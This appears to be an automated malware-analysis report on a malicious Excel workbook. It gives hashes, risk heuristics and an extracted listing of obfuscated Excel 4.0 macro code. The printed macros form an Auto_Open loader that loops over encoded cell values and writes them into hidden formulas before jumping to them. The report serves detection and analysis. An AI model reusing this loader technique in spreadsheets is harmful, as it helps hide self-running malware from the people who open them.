Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 35ad305896e1c15e…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:07 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: 7c546e364ef08f64be4d318f03eb873c SHA-1: d815e8bb74536c63647e5793b84e9ccebbe28031 SHA-256: 35ad305896e1c15ed002d5df9baa33553782f76d93ac525bf022c73b973e7472
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6461 bytes
SHA-256: 184ad4d8a17d7ceb5aeb6b86eaf2fda4787b6c0d0068d2f61651094e428daaf8
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  awfnmqr
' 0018     25 LABEL : Cell Value, String Constant - aUdSGfDGIC len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F170 
' 0018     23 LABEL : Cell Value, String Constant - cXaPTTGp len=0 
' 0018     21 LABEL : Cell Value, String Constant - EClQgn len=0 
' 0018     22 LABEL : Cell Value, String Constant - EtMPFaM len=0 
' 0018     23 LABEL : Cell Value, String Constant - eyIRQRqi len=0 
' 0018     25 LABEL : Cell Value, String Constant - fmlHrXTzmS len=0 
' 0018     20 LABEL : Cell Value, String Constant - FQBXG len=0 
' 0018     27 LABEL : Cell Value, String Constant - hBOTubJyAPfB len=0 
' 0018     22 LABEL : Cell Value, String Constant - hKRUVJL len=0 
' 0018     23 LABEL : Cell Value, String Constant - HqjugayX len=0 
' 0018     22 LABEL : Cell Value, String Constant - jKwYwLO len=0 
' 0018     26 LABEL : Cell Value, String Constant - koPFuByQFzV len=0 
' 0018     20 LABEL : Cell Value, String Constant - KZGrI len=0 
' 0018     20 LABEL : Cell Value, String Constant - MAQwu len=0 
' 0018     20 LABEL : Cell Value, String Constant - NWWNO len=0 
' 0018     23 LABEL : Cell Value, String Constant - sAdWBlkE len=0 
' 0018     20 LABEL : Cell Value, String Constant - tCEqF len=0 
' 0018     26 LABEL : Cell Value, String Constant - TTmZyANRjte len=0 
' 0018     24 LABEL : Cell Value, String Constant - tyymekhXA len=0 
' 0018     25 LABEL : Cell Value, String Constant - WGcZvuRkRC len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  awfnmqr,F83,"SET.NAME("tCEqF",VALUE("0"))",""
'  awfnmqr,F88,"SET.NAME("NWWNO",tCEqF)",""
'  awfnmqr,F91,"SET.NAME("cXaPTTGp",tCEqF)",""
'  awfnmqr,F94,"SET.NAME("fmlHrXTzmS",COUNTA(sAdWBlkE))",""
'  awfnmqr,F97,"SET.NAME("MAQwu",COUNTA(EtMPFaM))",""
'  awfnmqr,F100,[],""
'  awfnmqr,F103,"SET.NAME("hKRUVJL","")",""
'  awfnmqr,F106,"NWWNO",""
'  awfnmqr,F109,"SET.NAME("TTmZyANRjte",HLOOKUP("*",sAdWBlkE,NWWNO,FALSE))",""
'  awfnmqr,F111,"HqjugayX",""
'  awfnmqr,F114,"SET.NAME("aUdSGfDGIC",tCEqF)",""
'  awfnmqr,F116,[],""
'  awfnmqr,F120,"aUdSGfDGIC",""
'  awfnmqr,F123,"FQBXG",""
'  awfnmqr,F127,"tyymekhXA",""
'  awfnmqr,F129,"jKwYwLO",""
'  awfnmqr,F131,"SET.NAME("hBOTubJyAPfB",VALUE(HLOOKUP("*",EtMPFaM,jKwYwLO,FALSE)))",""
'  awfnmqr,F135,"KZGrI",""
'  awfnmqr,F137,"hKRUVJL",""
'  awfnmqr,F139,"cXaPTTGp",""
'  awfnmqr,F144,NEXT(),""
'  awfnmqr,F149,"koPFuByQFzV",""
'  awfnmqr,F152,"SET.NAME("f",INT(T(FORMULA(T(hKRUVJL)&"",""&T(koPFuByQFzV)))))",""
'  awfnmqr,F157,"EClQgn",""
'  awfnmqr,F161,NEXT(),""
'  awfnmqr,F165,RETURN(),""
'  awfnmqr,F194,"SET.NAME("eyIRQRqi",F83)",""
'  awfnmqr,F199,"sAdWBlkE",""
'  awfnmqr,F201,"SET.NAME("EtMPFaM",R75C15)",""
'  awfnmqr,F205,"SET.NAME("EClQgn",213)",""
'  awfnmqr,F209,"SET.NAME("WGcZvuRkRC",6)",""
'  awfnmqr,F212,eyIRQRqi(),""
'  awfnmqr,F213,HALT(),""